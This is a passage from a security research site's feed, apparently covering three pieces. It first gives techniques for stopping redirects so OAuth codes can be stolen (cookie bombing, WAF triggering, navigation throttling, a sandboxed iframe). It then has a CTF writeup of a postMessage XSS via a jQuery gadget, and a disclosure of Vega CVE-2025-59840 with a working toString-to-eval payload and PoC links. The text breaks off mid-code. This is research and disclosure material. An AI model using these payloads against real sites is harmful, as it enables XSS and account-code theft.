<p>Cookies are a more common way of doing this in a technique called <strong>“cookie bombing”</strong>. Using JavaScript, we can set <code class="language-plaintext highlighter-rouge">document.cookie</code> to create a bunch of large cookies, which are always sent in the <code class="language-plaintext highlighter-rouge">Cookie:</code> request header. When this becomes too large, it can error and not use the code.<br />
By setting these cookies with a specific <code class="language-plaintext highlighter-rouge">Path=</code> attribute, you can even selectively block certain URLs while keeping others working. We’ll target just the redirect destination.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">100</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span> <span class="o">=</span> <span class="s2">`filler</span><span class="p">${</span><span class="nx">i</span><span class="p">}</span><span class="s2">=</span><span class="p">${</span><span class="dl">'</span><span class="s1">A</span><span class="dl">'</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="mi">4000</span><span class="p">)}</span><span class="s2">; Path=/callback`</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This will send a gigantic 400KB of headers, which some servers handle by refusing to connect again, but others return specific status codes like 431. Both can be leaked with the same JavaScript snippet as above.</p>

<h2 id="triggering-waf">Triggering WAF</h2>

<p>One more creative idea to trigger error pages is using the Web Application Firewall (WAF) living over top of many mature applications.<br />
<a href="https://www.hakupiku.com/">@hakupiku</a> shared this idea where you put some dangerous text like <code class="language-plaintext highlighter-rouge">&lt;script&gt;alert(1)&lt;/script&gt;</code>, the state parameter again in an OAuth flow. When it’s reflected in the <code class="language-plaintext highlighter-rouge">/callback</code> URL, the firewall may block it and return a generic page instead. This keeps the code fresh for us to steal again through our window reference and <code class="language-plaintext highlighter-rouge">location.search</code>.</p>

<p>If there is no state parameter or it is strictly validated, the above “cookie bombing” idea can also be applied on a smaller scale to just inject a dangerous-looking cookie into the request, which will be blocked by the WAF when you request the selected path.</p>

<h2 id="max-redirects">Max redirects</h2>

<p>To prevent infinite loops, the browser imposes a limit of 20 server-side redirects before stopping with <code class="language-plaintext highlighter-rouge">ERR_TOO_MANY_REDIRECTS</code>. Unfortunately for us, it stops <em>before</em> the last redirect, so if we would look at the <code class="language-plaintext highlighter-rouge">location.href</code>, then it would still be the URL right before the callback (unless it redirects multiple times with the code inside the URL).</p>

<p>There is a different limit for client-side redirects, however, discovered by <a href="https://hackerone.com/corrupted_bytes">@RafaX</a> during <a href="https://youtu.be/uaB_V-wEETs?t=3085">an awesome bug story</a>. When a page issues 200x navigations within 10 seconds (<a href="https://source.chromium.org/chromium/chromium/src/+/3b6c88c75bb5e19d731e299cafbc40b6913d91d0:third_party/blink/renderer/core/frame/navigation_rate_limiter.cc;l=32-45">source</a>), the browser blocks any further navigations during that period. This is true for both Chrome and Firefox.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">250</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">location</span><span class="p">.</span><span class="nx">hash</span> <span class="o">=</span> <span class="nx">i</span><span class="p">;</span>
    <span class="c1">// After #200, warning "Throttling navigation to prevent the browser from hanging" appears</span>
  <span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>In Chrome &lt; 142 and the latest Firefox, this count is kept <strong>across same-site navigations</strong>. That means that if you are able to quickly trigger 199 navigations before going to your target page, that target page is not allowed to instantly client-side redirect. The navigation needs to be initiated by a same-site website, many times within 10 seconds. We have to use an XSS on a subdomain or find gadgets to trigger it remotely, like via <code class="language-plaintext highlighter-rouge">hashchange</code> or <code class="language-plaintext highlighter-rouge">postMessage()</code> handlers.</p>

<p>Here’s an example gadget using <code class="language-plaintext highlighter-rouge">postMessage()</code>:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">onmessage</span> <span class="o">=</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">redirect</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">location</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/redirect</span><span class="dl">"</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This is exploitable by opening it first, triggering many navigations, and then finally navigating it to the page whose redirect we want to stop. As an example, take the following situation where we want to let the user click the button.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span>
  <span class="nx">location</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/away</span><span class="dl">"</span>
<span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;button</span> <span class="na">onclick=</span><span class="s">"alert('Yay!')"</span><span class="nt">&gt;</span>Click me<span class="nt">&lt;/button&gt;</span>
</code></pre></div></div>

<p>Right when this <code class="language-plaintext highlighter-rouge">location = "/away"</code> executes, the tab reaches its limit, and the client-side redirect will be denied. The rest of the page renders, and the user can click our button!</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span>
  <span class="kd">const</span> <span class="nx">gadget</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">https://r2.jtw.sh/poc.html?body=%3Cscript%3E%0D%0A%09onmessage+%3D+%28e%29+%3D%3E+%7B%0D%0A%09++if+%28e.data+%3D%3D%3D+%22redirect%22%29+%7B%0D%0A%09++++location+%3D+%22%2Fredirect%22%3B%0D%0A%09++%7D%0D%0A%09%7D%0D%0A%3C%2Fscript%3E</span><span class="dl">"</span><span class="p">;</span>
  <span class="kd">const</span> <span class="nx">vuln</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">https://r.jtw.sh/poc.html?body=%3Cscript%3E%0D%0A%09location+%3D+%22%2Faway%22%0D%0A%3C%2Fscript%3E%0D%0A%3Cbutton+onclick%3D%22alert%28%27Yay%21%27%29%22%3EClick+me%3C%2Fbutton%3E</span><span class="dl">"</span><span class="p">;</span>
  
  <span class="kd">const</span> <span class="nx">w</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="nx">gadget</span><span class="p">,</span> <span class="dl">""</span><span class="p">,</span> <span class="dl">"</span><span class="s2">width=800,height=300</span><span class="dl">"</span><span class="p">);</span>
  <span class="nx">setTimeout</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">200</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">w</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="dl">"</span><span class="s2">redirect</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">*</span><span class="dl">"</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="nx">setTimeout</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
      <span class="nx">w</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="nx">vuln</span><span class="p">;</span>
    <span class="p">},</span> <span class="mi">0</span><span class="p">);</span>
  <span class="p">},</span> <span class="mi">1000</span><span class="p">);</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p><img src="/research/articles/ArticleNo0012/stopping-redirects-firefox-postmessage.gif" alt="Screen recording showing PoC performing many redirects in Firefox and eventually the target button" /></p>

<h2 id="allow-forms-sandbox">allow-forms sandbox</h2>

<p>The trick that inspired me to write this post was a real-world bug I found during a recent pentest. Arbitrary input was reflected in an <code class="language-plaintext highlighter-rouge">&lt;a href=</code> (correctly escaped), but the page was quickly being navigated away by a <code class="language-plaintext highlighter-rouge">&lt;form&gt;</code> that auto-submits.<br />
Using this input, I wanted to let the user click on the link to execute JavaScript: <code class="language-plaintext highlighter-rouge">?nextUrl=javascript:alert(origin)</code></p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"/some-handler-doing-serverside-redirect"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"nextUrl"</span> <span class="na">value=</span><span class="s">"javascript:alert(origin)"</span><span class="nt">&gt;</span>
<span class="nt">&lt;/form&gt;</span>
<span class="nt">&lt;script&gt;</span>
  <span class="nb">document</span><span class="p">.</span><span class="nx">forms</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">submit</span><span class="p">();</span>
<span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"javascript:alert(origin)"</span><span class="nt">&gt;</span>Click this link if you do not automatically get redirected<span class="nt">&lt;/a&gt;</span>
</code></pre></div></div>

<p>I could see the vulnerable link for a split second before it just <strong>redirects away</strong>, which is not enough to fool a user.</p>

<p>The solution was to <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/iframe#sandbox">sandbox</a> the window. This is possible by opening it from my own sandboxed iframe, as it keeps the sandbox in a top-level context! Configuring this <em>without</em> the <code class="language-plaintext highlighter-rouge">allow-forms</code> attribute so that it cannot submit the form, but we can still script and have same-origin access while the submission is blocked!</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;h1&gt;</span>Click to continue<span class="nt">&lt;/h1&gt;</span>
<span class="nt">&lt;iframe</span> <span class="na">name=</span><span class="s">"iframe"</span> <span class="na">sandbox=</span><span class="s">"allow-modals allow-popups allow-same-origin allow-scripts"</span>
  <span class="na">style=</span><span class="s">"display: none;"</span><span class="nt">&gt;&lt;/iframe&gt;</span>
<span class="nt">&lt;script&gt;</span>
  <span class="nx">onclick</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">iframe</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">https://example.com?nextUrl=javascript:alert(origin)</span><span class="dl">"</span><span class="p">)</span>
  <span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<blockquote>
  <p>Blocked form submission to ‘https://example.com/some-handler-doing-serverside-redirect’ because the form’s frame is sandboxed and the ‘allow-forms’ permission is not set.</p>
</blockquote>
]]></content:encoded>
    </item>
    
    <item>
      <title>Challenge Two - Writeup For Stranger XSS</title>
      <link>https://lab.ctbb.show/writeups/challenge-two-stranger-xss</link>
      <guid isPermaLink="true">https://lab.ctbb.show/writeups/challenge-two-stranger-xss</guid>
      <pubDate>Mon, 01 Dec 2025 00:00:00 +0000</pubDate>
      <author>Nick Copi</author>
      <description>A writeup on the second strange XSS challenge in this miniseries.</description>
      <content:encoded><![CDATA[<p>This challenge has two pages, a fairly functionless outer page, and an inner page with a postMessage listener that performs some rich hydration of an object before using it to make a mocked post request to a non existent API endpoint with a body derived from the message. There is no origin check on the listener, the page is frameable, and there is not much else going on here, so it is clear that the way to achieving the XSS involves framing the inner.html page from an attacker page and sending it crafted messages.</p>

<h2 id="understanding-the-innerhtml-loaded-javascript-files">Understanding the inner.html loaded JavaScript files</h2>
<p>This page loads three JavaScript files. A jQuery library, a lodash library, and a custom inner.js file. The custom inner.js file has the relevant logic for registering a sketchy looking postMessage handler.</p>

<h2 id="understanding-the-hydration-functionality">Understanding the hydration functionality</h2>
<p>The inner.html page has the following custom JavaScript to implement a postMessage event handler.
<img src="/writeups/articles/WriteupNo0003/image1.png" alt="inner logic" /></p>

<p>The message event is passed to a rehydration function that takes a list of <code class="language-plaintext highlighter-rouge">from</code> and <code class="language-plaintext highlighter-rouge">to</code> mapping values from the message data and uses lodash’s get method to get a potentially nested property from the event and assign it as a value to <code class="language-plaintext highlighter-rouge">event.data.base.reqBody[to]</code>. Notably, this is getting a potentially nested value from the event, not event.data. This oversight allows for very interesting behavior. By reading a property from <code class="language-plaintext highlighter-rouge">event.target</code>, we can read from the global window object of the inner.html page. This allows us to set a wide variety of values on the <code class="language-plaintext highlighter-rouge">event.data.base.reqBody</code> object before it gets used later in the code. Interestingly, it is not stringified later in the code, and instead is passed as a raw object to fetch as the body. This behavior is incorrect and will lead to toString being implicitly called on the object, returning <code class="language-plaintext highlighter-rouge">"[object Object]"</code> instead of the likely intended behavior.</p>

<h2 id="achieving-xss">Achieving XSS</h2>
<p>There are two crucial pieces here that allow this strange code to lead to XSS. The first being the ability to copy properties from <code class="language-plaintext highlighter-rouge">window</code> to controlled values of the <code class="language-plaintext highlighter-rouge">event.data.base.reqBody</code> object. The second being the implicit toString call of <code class="language-plaintext highlighter-rouge">event.data.base.reqBody</code> when it is incorrectly passed to fetch.</p>

<p>By abusing this implicit toString call, we can copy a function from the global window object to <code class="language-plaintext highlighter-rouge">reqBody.toString</code> and be able to execute functions in the global scope without argument control, and with <code class="language-plaintext highlighter-rouge">this</code> referring to <code class="language-plaintext highlighter-rouge">reqBody</code> when they execute. Unfortunately, most of the interesting functions we may want to call, like <code class="language-plaintext highlighter-rouge">document.write</code>, or <code class="language-plaintext highlighter-rouge">alert</code> do not allow invocation with an improper <code class="language-plaintext highlighter-rouge">this</code> object, and instead would have to be bound to <code class="language-plaintext highlighter-rouge">document</code> and <code class="language-plaintext highlighter-rouge">window</code> respectively if called this way.</p>

<p><img src="/writeups/articles/WriteupNo0003/image2.png" alt="illegal invocation" /></p>

<p>However, given that we control the <code class="language-plaintext highlighter-rouge">this</code> value, we can look for gadget functions on the global scope that do something like the following hypothetical <code class="language-plaintext highlighter-rouge">winExample</code> function:</p>

<p><img src="/writeups/articles/WriteupNo0003/image3.png" alt="win example" /></p>

<p>If a function like this existed on the global scope, it would be a gadget that would allow us to achieve function call of another arbitrary function from the window with an arbitrary argument. Fortunately, both the lodash and jQuery libraries are loaded on this page and exposed on the global scope. After examination of certain jQuery libraries, we can find a candidate gadget function exposed at <code class="language-plaintext highlighter-rouge">$.fn.addBack</code>.</p>

<p><img src="/writeups/articles/WriteupNo0003/image4.png" alt="add back" /></p>

<p>The jQuery addBack function takes an argument, which when invoked via implicit toString will always be <code class="language-plaintext highlighter-rouge">undefined</code>, and calls <code class="language-plaintext highlighter-rouge">this.add()</code> with the value of <code class="language-plaintext highlighter-rouge">this.prevObject</code> if the provided argument is null. This is exactly the gadget we need to turn implicit toString call into useable XSS. A crafted object like the following will lead to code execution.</p>

<p><img src="/writeups/articles/WriteupNo0003/image5.png" alt="add back eval" /></p>

<p>Putting all of these ideas together, we can build out a postMessage body that will result in a crafted object being created that leads to execution of arbitrary JavaScript when being implicitly converted to a string.</p>

<h2 id="full-payload">Full payload</h2>
<p>A full payload to accomplish this can be seen <a href="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/99ebcf7b-130b-431c-b7a8-84fe09192d52-solution.html">here.</a></p>

<p><img src="/writeups/articles/WriteupNo0003/image6.png" alt="chal 2 poc" /></p>

<p>It abuses the postMessage listener to copy the <code class="language-plaintext highlighter-rouge">$.fn.addBack</code> gadget to <code class="language-plaintext highlighter-rouge">event.data.reqBody</code> as <code class="language-plaintext highlighter-rouge">toString</code>, as well as set <code class="language-plaintext highlighter-rouge">eval</code> to its <code class="language-plaintext highlighter-rouge">add</code> property, so that when the <code class="language-plaintext highlighter-rouge">addBack</code> gadget is called, the <code class="language-plaintext highlighter-rouge">eval</code> function set as <code class="language-plaintext highlighter-rouge">add</code> is called with the <code class="language-plaintext highlighter-rouge">prevObject</code> string containing the arbitrary JavaScript to execute.</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Vega CVE-2025-59840 - Unusual XSS Technique toString gadget chains</title>
      <link>https://lab.ctbb.show/research/CVE-2025-59840-unusual-xss-technique-toString-gadget-chains</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/CVE-2025-59840-unusual-xss-technique-toString-gadget-chains</guid>
      <pubDate>Mon, 01 Dec 2025 00:00:00 +0000</pubDate>
      <author>Nick Copi</author>
      <description>A writeup on the technical details of a Vega Visualization library XSS bug that uses interesting techniques to get controlled JS function execution.</description>
      <content:encoded><![CDATA[<p>Vega is an open source visualization library with support for rich custom configurations, including an expression language that gets safely evaluated. The expression language offers limited functionality, and is intended to not allow for arbitrary function call, but only the call of registered Vega Expression Functions. The two challenges leading up to this writeup were both focused on unusual function call mechanisms. If you haven’t looked at them, I recommend looking at them first.</p>

<ul>
  <li><a href="https://www.turb0.one/pages/Challenge_One:_Strange_XSS.html">Challenge One</a></li>
  <li><a href="https://www.turb0.one/pages/Challenge_Two:_Stranger_XSS.html">Challenge Two</a></li>
</ul>

<h2 id="original-report-to-vega">Original Report to Vega</h2>

<h3 id="summary">Summary</h3>
<p>Vega offers the evaluation of expressions in a secure context as part of its functionality. Arbitrary function call is intended to be prohibited. When an event is exposed to an expression, member get of window objects is possible, which seems to be known intended behavior. By creating a crafted object that overrides its toString method with a function that results in calling <code class="language-plaintext highlighter-rouge">this.foo(this.bar)</code>, DOM XSS can be achieved. In practice, an accessible gadget like this exists in the global VEGA_DEBUG code. It may be exploitable without this requirement via a more universal gadget.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">({</span>
    <span class="na">toString</span><span class="p">:</span> <span class="nx">event</span><span class="p">.</span><span class="nx">view</span><span class="p">.</span><span class="nx">VEGA_DEBUG</span><span class="p">.</span><span class="nx">vega</span><span class="p">.</span><span class="nx">CanvasHandler</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">on</span><span class="p">,</span> 
    <span class="na">eventName</span><span class="p">:</span> <span class="nx">event</span><span class="p">.</span><span class="nx">view</span><span class="p">.</span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">,</span>
    <span class="na">_handlers</span><span class="p">:</span> <span class="p">{</span>
        <span class="na">undefined</span><span class="p">:</span> <span class="dl">'</span><span class="s1">alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)</span><span class="dl">'</span>
    <span class="p">},</span>
    <span class="na">_handlerIndex</span><span class="p">:</span> <span class="nx">event</span><span class="p">.</span><span class="nx">view</span><span class="p">.</span><span class="nb">eval</span>
<span class="p">})</span><span class="o">+</span><span class="mi">1</span>
</code></pre></div></div>

<h3 id="details">Details</h3>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"$schema"</span><span class="p">:</span><span class="w"> </span><span class="s2">"https://vega.github.io/schema/vega/v5.json"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"width"</span><span class="p">:</span><span class="w"> </span><span class="mi">350</span><span class="p">,</span><span class="w">
  </span><span class="nl">"height"</span><span class="p">:</span><span class="w"> </span><span class="mi">350</span><span class="p">,</span><span class="w">
  </span><span class="nl">"autosize"</span><span class="p">:</span><span class="w"> </span><span class="s2">"none"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"description"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Toggle Button"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"signals"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"toggle"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"value"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
      </span><span class="nl">"on"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="p">{</span><span class="w">
          </span><span class="nl">"events"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"click"</span><span class="p">,</span><span class="w"> </span><span class="nl">"markname"</span><span class="p">:</span><span class="w"> </span><span class="s2">"circle"</span><span class="p">},</span><span class="w">
          </span><span class="nl">"update"</span><span class="p">:</span><span class="w"> </span><span class="s2">"toggle ? false : true"</span><span class="w">
        </span><span class="p">}</span><span class="w">
      </span><span class="p">]</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"addFilter"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"on"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="p">{</span><span class="w">
          </span><span class="nl">"events"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"mousemove"</span><span class="p">,</span><span class="w"> </span><span class="nl">"source"</span><span class="p">:</span><span class="w"> </span><span class="s2">"window"</span><span class="p">},</span><span class="w">
          </span><span class="nl">"update"</span><span class="p">:</span><span class="w"> </span><span class="s2">"({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"</span><span class="w">
        </span><span class="p">}</span><span class="w">

      </span><span class="p">]</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a “gadget function” (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   <span class="nx">on</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span> <span class="nx">o</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">const</span> <span class="nx">u</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">eventName</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span>
          <span class="p">,</span> <span class="nx">d</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">_handlers</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">_handlerIndex</span><span class="p">(</span><span class="nx">d</span><span class="p">[</span><span class="nx">u</span><span class="p">],</span> <span class="nx">a</span><span class="p">,</span> <span class="nx">o</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="p">....</span>
        <span class="p">}</span>
        <span class="p">....</span>
   <span class="p">}</span>
</code></pre></div></div>

<ol>
  <li>Set <code class="language-plaintext highlighter-rouge">u</code> to the result of calling <code class="language-plaintext highlighter-rouge">this.eventName</code> with undefined
    <ul>
      <li>For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined</li>
    </ul>
  </li>
  <li>Sets <code class="language-plaintext highlighter-rouge">d</code> to <code class="language-plaintext highlighter-rouge">this._handlers</code>
    <ul>
      <li>For our object, we have this defined to be used later</li>
    </ul>
  </li>
  <li>Calls <code class="language-plaintext highlighter-rouge">this._handlerIndex</code> with the result of <code class="language-plaintext highlighter-rouge">u</code> indexed into the <code class="language-plaintext highlighter-rouge">d</code> object as the first argument, and undefined as the second two.
    <ul>
      <li>For our object, <code class="language-plaintext highlighter-rouge">_handlerIndex</code> is set to window.eval, and when indexing undefined into the <code class="language-plaintext highlighter-rouge">_handlers</code>, a string to be evald containing the XSS payload is returned.</li>
    </ul>
  </li>
</ol>

<p>This results in XSS by using a globally scoped gadget to get full blown eval. In cases where VEGA_DEBUG is not enabled, there may be other gadgets on the global scope that allow for similar behavior. In cases where the AST evaluator is used and there are blocks against getting references to <code class="language-plaintext highlighter-rouge">eval</code>, there may be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. $.globalEval).</p>

<h3 id="poc">PoC</h3>
<p>Navigate here, move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.</p>

<p><a href="https://v5-33-0.vega-628.pages.dev/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1aAApgCYAMrFGjiMiod41SjEGhwWSUABqAFEAOIAQQA+gARcmhACqlIJfEoAGEkOJ8hAABI8hRBZyUHDONgmJotSgSKTBPGYAByZzguOqmAJRJJUAkYiClACfiktJgQpF+GADChcDWWLgClQAHJ4nBnJgkWxXLRxMEANTBAAGwQAGmi0cEJMFSM4zFHAwGKTSGUzWWSqXSKQAlNEASQA8kqAJROyam81u3M2gAe6o+msJxMoVXi4yLfoAjAdjscgA">https://v5-33-0.vega-628.pages.dev/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1aAApgCYAMrFGjiMiod41SjEGhwWSUABqAFEAOIAQQA+gARcmhACqlIJfEoAGEkOJ8hAABI8hRBZyUHDONgmJotSgSKTBPGYAByZzguOqmAJRJJUAkYiClACfiktJgQpF+GADChcDWWLgClQAHJ4nBnJgkWxXLRxMEANTBAAGwQAGmi0cEJMFSM4zFHAwGKTSGUzWWSqXSKQAlNEASQA8kqAJROyam81u3M2gAe6o+msJxMoVXi4yLfoAjAdjscgA</a></p>

<h3 id="additional-poc">Additional PoC</h3>

<p>Here’s a version that should work even with the AST evaluator mode, abusing function call gadgets to get access to window.eval despite the mitigations to prevent this.</p>

<p><a href="https://v5-33-0.vega-628.pages.dev/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1aAApgCYAMrFGjiMiod41SjEGhwWSUABqAFEAOIAQQA+gARcmhACqlIJfDJRJJOGcbBMTRalFpziccEwACUPo4Rc4pMKpXAZag9nA5XAAqgAORVeKatUBUJYhRa+KKzBItiuWjiYIAamCAANggANNFo4ISYKkZxmT0O+0UmkMpmsslUukU8VogCSAHkAHIASj1WLoNHiFjguOqmAJXLDQcZLLZpAolElUMVisoPL5fJ+QoCbEucqbl0V2Y+ucJxPGidtAEYDsdjkA">https://v5-33-0.vega-628.pages.dev/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1aAApgCYAMrFGjiMiod41SjEGhwWSUABqAFEAOIAQQA+gARcmhACqlIJfDJRJJOGcbBMTRalFpziccEwACUPo4Rc4pMKpXAZag9nA5XAAqgAORVeKatUBUJYhRa+KKzBItiuWjiYIAamCAANggANNFo4ISYKkZxmT0O+0UmkMpmsslUukU8VogCSAHkAHIASj1WLoNHiFjguOqmAJXLDQcZLLZpAolElUMVisoPL5fJ+QoCbEucqbl0V2Y+ucJxPGidtAEYDsdjkA</a></p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">({</span>
